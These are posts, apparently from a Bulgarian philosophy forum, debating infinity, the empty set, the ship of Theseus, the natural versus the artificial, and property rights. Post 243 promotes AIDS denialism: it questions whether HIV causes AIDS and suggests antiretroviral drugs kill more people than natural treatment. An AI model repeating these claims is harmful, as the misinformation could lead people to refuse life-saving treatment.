Съгласен съм, че трябва да се постави ПРЕДЕЛ, което ти много добре си направил, на безкрайността. Дори Вселената, както сме си говорили, е КРАЙНА. Материята също е КРАЙНА. И така - гледната ти точка е адекватна на действителността, според както я вижда съвременната научна картина на света. ОБАЧЕ сънувах за единицата, че не си прав. Ето как - възможно най-голямото множество, което е и ПРЕДЕЛА, било едно-единствено. Отделно е в единствено число и пр. От него не може да станат 2 еднакви - и това хубаво. ОБАЧЕ не може да се каже, че е "ЕДИНИЦА". Защо? Ами защото всяко нещо може да е ЕДИНИЦА. Тоест сънувах, че не съм съгласен с изречението ти от предния пост "Така че безкрайността може да е равна на 1." Поясненията, които сънувах: Десетката (10), деветката (9) и пр. също са ЕДНО. Една десетка, една деветка,... една двойка... Но това не значи, че "10=1", или пък че "2=1". По същия начин АБСОЛЮТНО ПРЕДЕЛНОТО МНОЖЕСТВО, ВСИЧКОТО, да го наречем условно, не е 1. То е ТЪЖДЕСТВЕНО НА СЕБЕ СИ И Е ЕДНО-ЕДИНСТВЕНО, обаче не е просто равно на едно, доколкото 1 (едно) е равно на 1 (едно), но не е равно на 1 множество (едно множество). Така е и с кравите. (Поздрави за Ники, че се сетих за Хайдегер, който като бил на село и слушал как един кравар му разправял за извивките на ушите на кравите, на Хайдегер това му се сторило много онтично). Значи една крава не е равна на една коза, нито на едно авокадо, нито на един бамбук. По същия начин едно множество не е равно на други едни неща, нито пък на АБСТРАКТНОТО ЕДНО (1). По този начин ЕДИНИЦАТА (като цифра и като число) не би могла да отразява БЕЗКРАЙНОСТ. Така че си оставаме на приетия вече символ за безкрайност - "полегналата осморка" :). Отделно, не може и да отразява Множеството на всички множества, Всичкостта (Everythingness, на английски) и пр. Обобщавам - не съм съгласен с твоята ТОТАЛНА ДЕНОМИНАЦИЯ (икономическо понятие). Знаем какво е деноминацията - примерно, ако парите са станали с прекалено големи числови измерения - "1 000 000 пари за един хляб", то им рязваш нулите с няколко, примерно с 6 нули, и си идваме на "1 пара за един хляб". И ти направи една такава ТОТАЛНА ДЕНОМИНАЦИЯ - събра всички възможни числа, с всичките им възможни математически операции (резултати) там... корен-квадратни, прогресии и какво ли не, като по този начин обобщи всичките им възможни КОНКРЕТНИ множества в едно най-супер-хипер множество. Това добре, както казах, имаме нужда от предели, защото няма нищо безпределно, но след като всичките тези много числа (цифри /с цифри, или нецифрови/) ги назовахме само "ЕДНО", това е тотална ДЕ-НОМИ-НАЦИЯ, която просто унищожава ЕЛЕМЕНТИТЕ НА МНОЖЕСТВОТО, свеждайки го само и единствено до един от тях - добрата, стара единица.
Това са съображенията ми. А съображенията са голяма работа...
СЛЕДВА...
-
242. Честит Р. Д. и от мен!
Като е жив, здрав, свободен човек и с необходимите финанси, винаги може пак да иде в Австралия, Австрия, Аржентина и където си поиска, ако няма черен печат. :) Така че не е важно това. Важното е да си прекара човекът добре, да се наслаждава на виното умерено (четох по блога, че му е специалист и любител) и да произвежда качествена, полезна и добра философия.
Колегата Георги.
243. Ами то процес и срещу Тодор Живков имаше, дето направил голям външен дълг /Сега, при наличието на повече информация онлайн, без да знам доколкото е точна, давам линк към списък в Уикипедия към конкретните дела към Тодор Живков: https://bg.wikipedia.org/wiki/Тодор_Живков#Последни_години (https://bg.wikipedia.org/wiki/Тодор_Живков#Последни_години)/, а сега защо няма срещу всички последвали го правителства, които направиха още по-голям? Много ясно, че който има властта, той може да организира процеси. Много показателен е примерът с Филип Хубавият (френски крал), който дори процес срещу Папата е завел и си е имал после свое Папство, със свой Папа ("Анти-Папа", по Католическите термини).
Разбира се, че от СПИН се почива. Никой не отрича съществуването на СПИН. Друг е въпросът дали СПИН се причинява от ХИВ и дали лекарствата или "лекарствата" не причиняват повече почивания/смърти отколкото натуралното лечение, за което става дума.
Както казах това е една АЛТЕРНАТИВНА, СЪЩЕСТВУВАЩА, поддържана не само от лаици, но и от ПРЕФЕСИОНАЛИСТИ теория, наречена дисидентска. В момента я поддържам на базата на различни логически аргументи + различни фактологически случаи. Ако някой ден безспорно се докаже връзката ХИВ-СПИН, ще изоставя дисидентската теория. За повече информация и на английски, не само на руски, за всички здравомислещи читатели - тук: virusmyth.com (http://www.virusmyth.com/aids/) Сайт за "вирусния мит", както го наричат, под мотото "A Rethinking AIDS website".
-------
Красива Лили, с Хераклит стана дума по-горе за нещо интересно - той сведе множеството на всички възможни множества до единица, аз не се съгласих с това... Ако имаш мнение и ти се занимава, би ли отразила и виждането си по този въпрос?
244. Е, ами същите пожелания и препоръки вървят и за именните дни. Няма проблем.
Аз съм любител-тюрколог, та ще поясня за името - на турски наистина има дума "ЮНУС" (със "с"), която значи делфин, но името идва от арабската транскрипция на староеврейското име "Йона", което значи "гълъб".
245. Какво значи въпросът "КАТО е станало въпрос за разликата между идентичност и автентичност" ?
СЛЕДВА...
-
246. По-лесно се отговаря на въпроса, ако се абстрахираме на кого е корабът. На Тезей или на Мойсей, все едно. Важното е друго - разглобяваш кораба и го сглобяваш на ново място. Пак си е той. Ако ли пък полека-лека му смениш всички части и после на новото място от неговите си, натурално-стари части направиш пак кораб, пак си е той. От новите части имаме само КОПИЕ, НОВО КОПИЕ на стария кораб. Както казах - по-лесно е да се схване с нещо по-просто устроено като една брадва. /Иначе собствеността, прилагателното "Тезеевият" - имат значение, но при положение, че и без въпросните неща пак може да се схване същността на проблема, не виждам смисъл да се стига до тях. Корабът си е кораб, независимо дали ще е Тезеев или после ще е Йоргосов, Кимов, Найденов, Мифунев и пр./
247. Их, Ваня как издава кой стои зад никовете. :) :D
248. Браво на Ники и на настоящият му фаворит Хайдегер, които правилно интерпретират мисълта на Енгелс:
"Естествоизпитателите си въобразяват, че се освобождават от философията, когато я игнорират или псуват. Но, ТЪЙ-КАТО БЕЗ МИСЛЕНЕ НЕ МОГАТ ДА СЕ ПРИДВИЖАТ НИ КРАЧКА НАПРЕД, за мисленето са необходими логически категори... то в резултат те, все пак, се оказват ПОДЧИНЕНИ НА ФИЛОСОФИЯ, но, за съжаление, в голямата си част на най-лошата."
+
"Така се получава, защото категориите си те заимстват... от всекидневното, общо съзнание на т. нар. образовани хора, над което господстват останки на отдавна умрели философски системи..."
А ето и думите на Сагатовский, които идеално подкрепят мисълта на Ники:
"Ошибки начинаются тогда, когда один специалист не видит из своей «ямы» позицию другого, но судит о его действиях, не зная, ради какой цели они совершаются. Чтобы не делать таких ошибок, надо уметь переходить на такую позицию — философскую, — с которой хорошо видно соотношение исходных рубежей и целей отдельных специалистов." (Превеждам - Грешките започват тогава, когато даден специалист не вижда от своята "яма" позициите на другия, но съди за неговите действия, не знаейки, с каква ЦЕЛ те се извършват. За да не се правят такива грешки, трябва да се умее минаването на такава позиция - ФИЛОСОФСКАТА, - от която добре се вижда съотношението на изходните ГРАНИЦИ И ЦЕЛИ на отделните специалисти.)
Както виждаме мисловните усилия и на Диалектическия материализъм са напълно-достатъчни за "стоплянето" на такова положение, че философията е мирогледа и метода на частно-научното познание, което без философия е невъзможно, заблудено и даже потенциално-опасно.
249. Наистина го сънувах. То беше поредица от сюжети и добре, че се свърши с него, а не с Антонио Бандерас и лъвовете, примерно. Понякога кошмарите могат да изтормозят целия ден, знаеш...
За Лили - зависи дали е омъжена и, ако да, зависи дали съпругът й чете тук. След уточняване на тези два фактора, които възлагам на теб (т. е. вменявам ти чувство на ВЪРХОВЕН ДЪЛГ И ЧЕСТ, като в армията, хе-хе-хе), може да почнем с някаква романтична стратегия, ама ще трябва да се мисли и как да се заобиколи модераторския контрол... Лесно няма! :):) /Малко хумор. :) /
Иначе за числата - да. Мене ме заинтересува и едно друго математическо понятие. Имало МНОЖЕСТВО, което НЕ СЪДЪРЖАЛО ЕЛЕМЕНТИ. Един от символите му бил {}... И ето някои от "свойствата" му :
1. Мощността му е равна на нула.
2. Мярата му е равна на нула.
3. Обединяването му с което и да е друго множество е равно на последното...
Т.е. ОЩЕ ЕДНА ИЛЮЗИЯ, за която някои философи питали къде й е:
- смисъла
- ползата...
Празното множество, т.е. множество, което няма нищо в себе си, ми прилича на "празен народ" - "народ, който не се представя от нито един човек", "празна заплата" - "работиш и накрая ти плащат 0.00 лева" и пр. празни неща, които не са това, за което се представят, а са ЕДНОТО НИЩО. /Дори е оксиморонно - "множество" (много неща/много обекти/много каквото и да е) и "празно" (без нищо/нула/без присъствие). "Множество, което не съдържа нито един елемент." Е, това си е една нула! Не е и не може да бъде множество. Все пак определението, дефиницията за множество е, че то "представлява съвкупност от различни обекти, наричани още елементи, която се разглежда като едно цяло. "https://bg.wikipedia.org/wiki/Множество (https://bg.wikipedia.org/wiki/Множество) Толкоз./
250. Просто ми беше интересно какво мислят хората и исках "да си сверя часовника" с други мнения. Моето лично е, че след замяната и на последният детайл вече си имаме работа със съвсем друг кораб. Дори и след заменяне на един-единствен детайл, това вече е несъщия кораб, но при 100% смяна на всички детайли, естествено, корабът вече на 100% е друг. Просто и логично.
251. Да, хубаво обсъждане сте спретнали там. Аз го повторих в един от моите часове с китайски деца в сборна група по СИП между 3 и 5 годишни. И никой не видя делфини. :) Една каза, че вижда НИЩО, после един рече, че вижда ЧЕРНО, следващия каза, че вижда ЧЕРВЕНО (доста точно, предвид, че беше доста слънчево и като си затвориш очите на срещу слънцето, примерно се вижда черно-червеникав отенък) и останалите също казаха, че виждат ЧЕРНО.
"Там също някои деца твърдяха, че виждат цветовете."
Трябва да се отчита и факта, че при някои играе доста въпбражението или даже съзнателните лъжи, тези неща са си абв-то ("абеве-то") в детската психология.
"Шегата настрана, нека помислим случай, в който на децата се предлага да смесват цветове от палитра - тук "каквито си искам" (цветове) продължава да сработва. Излиза ли тогава, че въпросните получени цветове са някак "по-малко" обективни (от...???) ? Ясно е, че критерият "зависещо/независещо от волеви акт" на най-първо четене е "стабилен" критерий за различаване на субективно и обективно."
Да, ама КАК СА ПОЛУЧЕНИ? Само с ИСКАНЕТО НЕ СТАВА. Тоест трябва и ДЕЙСТВИЕ. Ако си останем на ниво ИСКАНЕ, остава си субективното. Така че аналогията не е правилна, понеже имаме и елемента на актуализацията с действие, въздействие върху изходни материали.
"Но ако мислим разликата между, да кажем, натрапчив образ и парче восък, ще излезе, че първият е "по-обективен" от втория."
Зависи в качеството им на какво се мислят. Ако едното се мисли като образ, а другото като восък и двете са си реални и обективни - едното като образ, а другото като восък.
"че ако се мисли природното като другото на субектното, от това никак не следва, че сме станали солипсисти."
ВСЕ ОЩЕ НЕ СЛЕДВА, но има ТЕНДЕНЦИЯ КЪМ това. Тоест вземаш нещо изначално:
- създадено в природата
- живеещо в природата
- основаващо се на природата (черпещо от нея живот и взаимодействащо постоянно с нея)
- родствено на всичко в природата на различни нива,
и от това нещо (човекът, който му хрумнало да се нарече "субект" или "Исмаил Хасаноглу", все едно) се прави нещо ТОТАЛНО ПРОТИВОПОСТАВЯЩО СЕ И ЗАКОНОДАТЕЛНО, ВЕЛИКО НАПРАВО В НЯКАКЪВ КРАЙНО-ХУМАНИСТИЧЕН И АНТРОПОЦЕНТРИЧЕН МОДЕЛ, което, разбираш ли вече не е никаква природа. Не е коректно спрямо действителността ни и спрямо реалността ни. Виж, ако говорим за някакъв АНДРОИД (втора природа) /в изначалния смисъл на думата, а не като марка; под андроид се разбира човекоморфен робот с изкуствен интелект; в научната фантастика се срещат често/, който да няма взаимодействие на биологическо ниво с природата тогава изказът и идеята, която сте си създали с колегата би имала коректност, но така... със същата сила (макар и на по-различно количествено ниво) твърдението ви, че човеците са неприродни, защото примерно правят това и това спрямо природата, може да се каже и за един вълк (Canis lupus) или за един хипопотам (Hippopotamus amphibius).
"Питането "не се ли оказва,че ако няма субектно, няма природно?" като че си прилича с "не се ли оказва, че ако няма субектно, няма изкуствено?""
Може и да си приличат, но отговорите им хич не си приличат. Ето ги: Ако няма субектно, пак си има природно, защото на природата, както казваше моят познат юрист-политолог, "хич не й пука" кой какво си мисли за нея.
Ако ли пък няма субектно, разбира се, че няма да има и изкуствено. И доколкото вече е открито, че маймуните правят копия (оръжия), значи че и една маймуна може да бъде (и е!) субект. /Това е само един пример./
"Какво се "оприродностява" по отношение на светлината след "изясняване на вълново-корпускулярната й "природа"?"
А аз като човек чувствителен към симулакрумите искам да знам глаголът "оприродностява" има ли реален корелат в действията на човек, т.е. има ли такова нещо като "оприродностяване" или не? Тоест какво значи нещо да се "оприродности"? Природата е СБОР от жива и нежива природа, т. е. от доста единични неща - камъни, вода, мухи, вируси, бръмбари, щурци, хора и прочие. Така че, лесно може да се разбере, ако се вземе КОНКРЕТЕН, ПРИРОДЕН ЕЛЕМЕНТ какво е, примерно, да се НАВОДНИ нещо или да се ВКАМЕНИ. Дори можем да се съгласим, че зад неологизми като ВИРУСИЗИРА /не по смисъла на "вайръл", че нещо е "станало вайръл", а в обикновения природен смисъл на "вирус"/ или МУХИЗИРА нещо се крие смисълът на изпълване с вируси, с мухи. Хайде сега да видим какво значи "оприродностяване"? Има ли такова действие в човешкия физически или умствен, индивидуален или групов труд?
"Тук разлики като създадено-несъздадено, овладяно-неовладяно и т.н. не може да не се намесят, но кога (дали) са достатъчни?"
И, напоследък, след задълбочаване на познанията ни по биология и етология е редно да се запитаме и СЪЗДАДЕТО-ОТ-КОГО? Понеже едно гнездо може да се направи:
- От хора,
- От птици,
- От маймуни.
Гнездото природа ли е? Природа е. Първа или втора? Втора. Има ли значение дали е направено от птица, човек или маймуна? Няма. Това е чистата и правилна логика.
252. Нека сега се спрем и на бати Веско. :) ("Бати" в уважителна форма, по аналогия с турското "АГА", което също значи БАТКО и се е ползвало за уважение на хора, независимо от годините им. /Още за алтайските връзки на "бати": http://www.seo-forum-seo-luntan.com/other-languages/kata-a-'o-a'-ot-'aam-ta'-akte-'atkoaoateato'/msg13988/#msg13988 (http://www.seo-forum-seo-luntan.com/other-languages/kata-a-'o-a'-ot-'aam-ta'-akte-'atkoaoateato'/msg13988/#msg13988)./)
"която разлика се получава именно, когато природното се мисли, като производно, положено, получено, направено, начин на присъствие и т.н. и т.н. от/на духа, субекта, разумното и т.н.и т.н."
Ами ето тука е разковничето - Обективен идеализъм! Производното на природата и намиращо се в нея (разума, субекта, духа/ако въобще има такова нещо/) става ТВОРЕЦ на природното. Това е Юдео-Християнски "отглас", който Хераклит (нашия) привижда като Хегел, а за мене си е точно едно религиозно мислене, но с философска форма.
"а изобщо възможността природното да се мисли през идеи."
Да речем, че това положение досега ми е убягвало в информационния поток пред който всеки ден съм изправен. Затова и чак сега се прознасям по него: А има ли нещо, което не може да се мисли "през идеи"? Мисленето на природното през идеи не е нещо уникално. Всяко нещо, което е в съзнанието може да се мисли през/чрез идеи. /Да, трябва да е в съзнанието, защото ако не е, няма как да се мисли - няма как да очакваш някой да мисли за тутси, ако въобще не знае, че има такъв народ на Земята. /
"В намесите на Dalai_tatar за пореден път намирам израз на едно автентично мислене, което може да постави събеседника в творческа позиция"
Благодаря! Точно това целя с разсъжденията си, които виждам като градивна критика, колкото и доколкото мога.
"правенето на философия с деца на чужд за тях език и възможностите, които имаме да онагледяваме философското – с жестове, знаци, изигравания с тялото, вещи и предмети, рисуване, и т.н."
В смисъл чужд като небългарски или чужд като професионален, който те не разбират?
"Когато се пита какъв е смисълът да се различава природно от неприродно, както пита Dalai-tatar, и какво пречи всичко да си е природа, нещата се представят сякаш те са въпрос на номиниране, без налични съдържателни разлики."
Ами така излиза, защото в моето понятие за природно = Вселенско няма съдържателни разлики. Има само формални разлики. Да речем какво значение има дали един камък е тук или на Луната? Ако ли пък се засели колония от хора на Марс някой ден, те няма ли да са природа, пък било то не-Земна природа, а Марсова природа? Абе даже и да се ограничим до Земята пак нещо неприродно аз не съзирам, като разбира се, разграничавам първа - втора природа, донякъде, понеже възниква въпросът - това, което правят животните като изкуствено - гнезна, копия, хралупи, ями и пр. - не е ли също втора природа? Тоест не е ли резултат от субектна дейност?
"Ако това беше така, то тогава се снема всяка отговорност от всеки. Изобщо престава да може да се мисли свободното действие, автономното, автентичното, отговорното, творческото и оттам безброй много социални и всякакви други последици свързани с отговорността. Тук е мястото да се каже, че човешката история познава много опити, в които на човешкото се гледа именно като на материал, сила, отношение и други."
Отговорността се разбира на ниво ВМЕНЯЕМОСТ. Нищо не пречи, ако хората са природа, в същото време да имат и отговорност. А отговорността не е нищо свръх-естветвено и просто-социално. Отговорността се ВЪЗПИТАВА, а всички знаем какво е възпитанието - набор от условни рефлекси, получени с подкрепление и/или аверзия.
Ето, много се радвам, че през последните си години сте прекарали и вие по детски градини и начални училища. Няма как да не ви е направило впечатление, че 1-2 годишните са крайно-безотговорни - вземат неща, без да са техни. Бият някой без да е виновен. Като им дадеш нещо даже не казват едно "Мерси, чиче!" и пр. И какво става, ако това дете никой не се стреми да го научи да не прави така? Ами израства си като дивак. Така че ОТГОВОРНОСТТА се получава именно от систамата - подкрепяне/наказание. Нищо повече. Ето защо в историята някои народи, които системно не срещат отпор/аверзия от други могат да си ги експлоатират до безкрайност. В същото време знаем, че като някой народ изяде една гора бой, особено няколко пъти и става "ангелче". Това е природната истина. Човекът по природа е "лош" и е "хищник" /казано с цялата условност на тези понятия/. Писал съм по друга тема.
"Трета задача е да се проследи обособяването от природното на „околната среда” и „изкуствени природи” (имат се предвид растителни култури и сортове, изкуствени по-роди животни)."
Първите две задачи не коментирам, понеже са изпълнение с понятия тип "Мики Маус" и "Сун Укун - Царят на маймуните." Има ги в масовото съзнание, но никой не ги взема насериозно. Виж третата е по-интересна и има резон в нея - редно е да се знае кое е дело на ЕСТЕСТВЕНИЯ и ИЗКУСТВЕНИЯ ОТБОР. То иснтрументариумът за това е разработен още от Дарвин.
"Например свързаните с генно модифицираните организми и желанието на някои фирми да се сдобият с права върху добива на такива („Монсанто” и искането им пред европейския парламент) – не просто да продават семена, каквато практика има от векове, а да претендират за дял върху всяко растение, добито от продаваните от тях семена."
Ами същото като с авторските права на филмите от Холивуд. Ако идеш в киното и го заснемеш с камерка, после го размножиш на дискове и ги продаваш - не можело, било незаконно. Трябва да си платиш и тогава да си официален дистрибутор, и пр. Иначе няма печалба. И онези със семената така - гледат хората, че от тях има по-голям добив и като купиш един път, не си луд да купиш втори път като ще имаш собствена реколта, та гледат да те обложат с малко "данък". Ами всеки си търси печалбата, защото е капиталистически света. Ако беше комунистически, друга работа. Правиш семена, после всеки ги ползва, а ти се радваш и си доволен на едната популярност и признателността на народа, защото пари не ти трябват - всичко е безплатно! Ама като са нужни пари и като без пари даже в автобуса не можеш да пътуваш... много ясно, че ще гледа всеки по някакъв начин да те изкрънка, одруса, изцеди /жаргонни думи, използвани за "да ти вземе парите"/"да изкара печалба от теб"/"да спечели"/. Мамонизъм на ента степен...
"Друг пример свързан с правата. Фактът, че никой не може да притежава права над природността на дадена вещ."
Веско, сега ще освободя теб и останалите от една наивност. Не НИКОЙ, а ВСЕКИ може да притежава права над КАКВОТО И ДА Е, стига да има СИЛАТА да си ги ПОДСИГУРИ тези права. Примерно преди Австралия е направила опит да окупира Антарктида, ама разни хорица като САЩ и др. възропатали и Австралия, която даже няма ядрено оръжие и разчита на ядрена подкрепа от подводници на Великобритания и САЩ, взела че се съгласила, че Антарктида е международно местенце, където даже българи могат да си правят научни станции. /Примерът с Австралия и детайлите (по отбраната и оръжията) по него съм ги черпил от източници онлайн. Не знам дали са на 100% точни и верни. Разбира се, може да се дадат по-точни и по-обосновани примери. Конкретно за териториялните претенции на държавите за този континент: https://ru.wikipedia.org/wiki/Территориальные_претензии_в_Антарктике (https://ru.wikipedia.org/wiki/Территориальные_претензии_в_Антарктике) и https://ru.wikipedia.org/wiki/Антарктида#Правовой_статус (https://ru.wikipedia.org/wiki/Антарктида#Правовой_статус)/
Ами преди с робството? За гърци /древни гърци, византийци/, турци /османци/, татари /Кримско ханство и др./, англичани /преди векове/,... това да имаш роби не е било нещо осъдително, а дори въпрос на просперитет. Ето Аристотел казвал нещо в смисъл, че ако нямал роби едва ли е щял да има време за толкова филосфстване...Така че хората на хора притежават или са притежавали права, ти говориш за това, че не можело да притежават права над СЕМЕНА и то такива, които те са си модифицирали. Могат и още как. Въпросът е какво ще се гласува от сило-имеющите (властимащите; силните на деня). И , примерно, след 100 години всеки ще те има за престъпник, ако не си си платил за семената от модифицира лимон, да речем, който си сееш в ранчото в Петрич... Въпрос на гледна точка. Правото е на силния.
"Т.е. ти би могъл да притежаваш права върху тази конкретна вещ (домат, двигател, парче злато и т.н.), но не би могъл да притежаваш доматността, двигателността, златността (извинете ме за изразите)."
Изразите са много на място в случая и точно за това говорят. Някой като произведе, примерно филмът "Онг Бак" си мисли, че притежава и Онг-Баковостта. Хората, ако могат, ще притежават целия свят и пак няма да им стига. /Говорим за прословутата безкрайна алчност у някои хора, а не че всеки е алчен безгранично./
"Дори не можеш да минеш за техен автор, а в най-добрия случай за производител."
Ами да. Някой като снима филма "Лолита", да не би да му е автор?! Хич не. /В смисъл, че "Лолита" е книга, съдържанието вече е създадено от друг и сценарият не е 100% авторски./Обаче... ходи продавай копия, които са наречени "пиратски", макар да не виждам никаква аналогия с действията на морските разбойници и хора, които са решили да направят някой лев от продукт на културата, който, според други идеалисти като Веско също били ОБЩЕСТВЕНО ДОСТОЯНИЕ и пр. То и аз искам така, ама не става... Всеки си пази продукта. Ето даже Ники като формулира нова, доразвита теза по Хайдегер и вика - "А някой ми я е откраднал, а съм го осъдил!" Е, той се шегува човекът донякъде, ама си му е мило и драго продуктчето и си иска собствеността върху него. Както е казал друг мой любимец - Валери Динев на лекция- "Абе ние сме териториални животни, бе!"
"Когато някой ядрен (или елемнтарно-частичен) физик иска милиони евро за да „изучава природата” има ли всъщност самосъзнание за това, което точно си „мисли” че изучава?"
Пари се дават за резултати, т.е. за осмисляне на даденото, независимо под каква форма - дали ще е да си изперат нелегални пари, дали ще е да получат продукт, който после ще "уголеми" вложените парични знаци, дали ще е нещо полезно за обществото... В този смисъл, ако той покаже резултативност и/или е полезен по друг начин, то ще бъде субсидиран дорде е жив. Ако ли не - отпада от "проекта" и е друг на негово място. В този смисъл на капиталистическите спонсори хич не им дреме ти дали :
- имаш самосъзнание за това, което изучаваш
- си фен на футбола или на волейбола
- си марсксист или фабианист, или теократ,
Те искат ПОЛЗА. Тоест прагматични и утилитаристични са. По този начин работи целия бизнес и само тук-таме има изключения от това правило. /А по въпроса доколко нивото на елементарни частици е също природа - да, това е физическото, най-дребното ниво на природата. Не виждам пречки да се смята за такова, при положение, че става дума за нещо, което е фундамент на всичко, което го има и се обединява в понятието "природа"./
"В много от дискусиите „за и против”: аборт, хомосексуализъм, евтаназия, климатични промени, борба с това или онова (климатични промени, замърсяване и т.н.), къде явно, къде скрито идеята за природно участва или се ползва в аргументацията."
Ами защото природното е всичкото, както съм казал. Няма нещо, което да пипнеш и да не опреш я до жива, я до нежива природа, я до втора природа. Този пример подкрепя моята теза.
"Отново стана дълъг пост и благодаря за търпението на тези, които проявят търпението да го изчетат."
Дълъг, за който не е алчен. :) Аз съм алчен, само че моята алчност е СУБЛИМИРАНА към разни такива ИДЕАЛНИ НЕЩА като постове от Веско и други образовани хора, а не към МАТЕРИАЛНИ като пари (в смисъл такъв, че сега докато те четох и писах можех да изкарам поне 5 евро, с които в Китай можеш да си купиш над 10 бири или над 10 кила тропически плодове, но аз предпочитам да си увеличавам духовното богатство, а не материалното, което пак си е алчност, но, както казах сублимирана). Едни жадни за пари, други жадни за знание... И така. /Което сега осъзнавам, през последните години, че е било не много правилно. Човек наистина трябва да си увеличава и духовното, и физическото/телесното и пр. богатства, но в условията на капитализъм (когато толкова много неща му зависят от парите), да НЕ забравя да увеличава и тях! Защото само с духовно богатство не може да се заимаш нито с апартамент/къща, нито със сериозно лечение, нито с екскурзии до по-далечни места,... списъкът е дълъг!/
СЛЕДВА...
-
253. "Аааааааа-хаааааааааа, м-хъм. Значи за "Кореспондентната" ставало въпрос. цъ, хич не съм усетила.
Аз щото си мислех за тази шестата, неква "семантична за истината" на некъв Тарски (не знам дали е същия с парадокса или е брат му). Не за друго, но понеже като гледам темата (заглавието) и видях "семантика", та ми се стори по-близо тази теория, но щом е ставало въпрос за "Кореспондентната" много се извинявам. Искренно."
О, много си назад с материала, душа. :) Епистемологията има отношение към всички теории за истината. А Кореспондентната такава я приложих в случая относно казването ти, че истината не можело да са намира по средата между две крайни, неистинни или полу-истинни твърдения.
"Е, щом си ВАЖИ, добре. Аз си помислих да не би нещо да не съм разбрала, но явно е ВАЖНО и ВАЖИ, та не са нужни обяснения, и по-добре да не питам... (явно е някакъв известен ОНТОЛОГИЧЕСКИ закон- напр. без да са определени две НЕЩА това по средата им си ВАЖИ!- яко. И закон сътворих. Провокациите "отключват" невероятни таланти в човек, м-хъм."
Това е вярно. Ако нещо е ФИЛОСОФСКО, ВСЕОБЩО, то си ВАЖИ независимо от КОНКРЕТИКАТА. Примерно диалектичните закони са в сила за всичко. Това са азбучни истини. Няма начин.
"Кво е това "охкане" сега? Да не се измори нещо. Почивай си."
Изморявам се от системното ти невникване в казаното от мен. Аз говоря за понятията, ти отиде в съвсем друга плоскост.
"А е употребена в смисъла на УЧАСТВА в семантиката и епистемологията.... ето и дообясненото ми изречение, но ако ти харесва след креационистка и прагматичка мога да стана, колко му е... знайш на колко лъжи съм повярвала в живота си, ама такова истински, можела съм да те убедя, че са истина, да ама... един ден като разбера, че не са... и мъка, мъка"
Значи за едно изключено от полза участие говорим... Добре. Колкото до креационизма - ти нали пишеш, че имало "Бог" (с главно "Б"). Да си чувала за християни-некреационисти? Защото аз не съм.
"Има общо, защото, ако е по средата (средата с неопределените онтологично НЕЩА, но която ВАЖИ) не помага нито на епистемологията нито на семантиката"
Аааа, значи от УЧАСТИЕ, минахме на ПОМОЩ... Абе кяр-ът, ползата е в основата, знаех си аз. А сега по-сериозно - АЗ, ПАК ДА ПОВТОРЯ, че говорех за ПОДТЕМАТА в ТЕМАТА - понятията. Чакай да го подчертая : понятията!... Тоест, че някои понятия са фалшиви и трябва да отидат на боклука, а други са правилни. Трети могат да се доусъвършенстват. Не става дума пряко за епистемологията и семенатиката. Ако беше прочела и запомнила какво пиша и настоявам, то е, че СЕМАНТИКАТА трябва да си е КЪМ ГНОСЕОЛОГИЯТА, защото няма смисъл от толкова делене. Става като в онзи виц:
"Студент: - Аз искам да изучавам само НОСА, а не УНГ (Уши-нос-гърло).
- Защо, колега? - пита професорът.
- Ами просто не ми е интересно за гърло и за уши, аз искам да изучавам само носа.
- Аха, а ще кажете ли тогава, по-конкретно, дали предпочитате да изучавате само лявата или само дясната ноздра?" /Разбира се, процесът на "раздробяване" на науките си тече с пълна сила, от едно време е така - факт е, че повечето науки се отделят от философията. А семантика има не само философска, но и лингвистична, програмистка.../
254. За мене е удоволствие. Темата (и двете) е (са) интересна/-и.
"Само че за да се шегуваш, да си въобразяваш, или да "лъжеш съзнателно" по отношение на цветовете, предполагам, че трябва вече да си имал работа с (видяните) цветове."
Исках да отбележа факта, че някои деца си правят майтапи или, просто, не знаят какво говорят, затова лесно може да кажат, че виждат нещо, което не виждат само и само да блеснат с остроумие пред останалите или пък, защото още не са в състояние да вербализират правилно нещата. Методологически го отбелязах, нищо повече.
"Ето, едно възможно рафиниране на критерия."
Ами за мен той си е рафиниран априори. В смисъл - практика, теория, първичност на материята... движа се по Диалектическия материализъм, който е и "баща" :) на нашия задочен патрон тук - професор Александър Андонов.
"Благодаря за уточнението (спрямо казването ви, че "Такова едно антропогенно, антропоцентрично мислене е логически предтеча на субективен идеализъм, плътно до солипсизъм"). Според мен и тенденцията не е ясна, доколкото субектното не е само човешкото."
Просто степени на опасност... А, ако признавате, че субективното не е само човешкото, това е много добър напредък, да го наречем философско-екологичен; здравословен. :)
"преставаме да се питаме за авторство, творчество."
Това е обикновения, популярен и народен модел на мислене - анонимния. Примерно много хора не знаят кой точно е произвел първия X, Y ("хикс", "игрек" - т. е. "това или онова", давам пример)..., но си ги ползват. А и понякога не е възможно да се установи авторството. А такова има, даже при маймуните, които се учат, като хората, от подражание.
"Няма разлики между създадено, произведено, изобретено; изгубват се и спецификите на изкуственото."
Защо да няма? Има, но не могат да се установяват. Примерно, при положение, че даже съвременните човекоподобни маймуни не са под постоянно наблюдение и нямат паспорти как да установим кой от тях пръв е почнал да заостря клонове, с които да убива животни и колективът маймунски да се учи? Няма как. По същия начин по който няма как да се установи кой е направил първия нож в света.
"Рисуването на картини, свиването на гнезда и изригването на вулкани са все природни явления."
Много вярно. Има даже психологически опити с картини, рисувани от маймуни (които имат интелект колкото някое дете на 2-3 години в детската градина), които после се поставят на изложби и печелят уважение на експерти, които мислят, че са дело на хора-художници... Природно си е.
"В особеностите на изказа (които силно се надявам да не са от водещо значение тук) явно всички се ориентират лесно, но след като кажете, че всичко е природа, така или иначе не остава нищо за "оприродностяване" - дори някой да предложи пример, вие винаги ще бъдете в състояние да парирате. По логическия квадрат."
1. Не виждам смисъл от всякаква дискриминация. Това, че творчеството на човека, благодарение на по-високия му интелект, е по-развито от това на шимпанзето, не значи, че има принципни разлики. Механизмите са едни и същи, а и продуктите, донякъде, може да са идентични.
2. Продължавам да искам да знам зад глагола "оприродностяване" какво стои. Искам пример, за да ми се докаже, че това е дума, която отразява НЕЩО, ДЕЙСТВИЕ. Ето виж, примерно, аз как разсъждавам: "О-ПРИРОДНОСТЯВАНЕ", значи нещо, което не е природа да се направи природно. И излиза, че има неприродни неща. Отделно излиза, че човек може да прави ПЪРВА ПРИРОДА (е, вече има успешни опити като създаването на изкуствени вируси, евалла!)... И така. Просто искам да си изясня понятието, не го оспорвам, просто се усъмнявам и искам да ми се просветли. Колкото повече понятия (ама верни), толкова по-добре за мене и останалите. :)
255. Хе-хе, бате Ники, спокойно. Разбирам именно твоето учудване и реакция, та ще обясня и съм сигурен, че ще разбереш (относно дали ще се съгласиш, не съм сигурен, но ще разбереш):
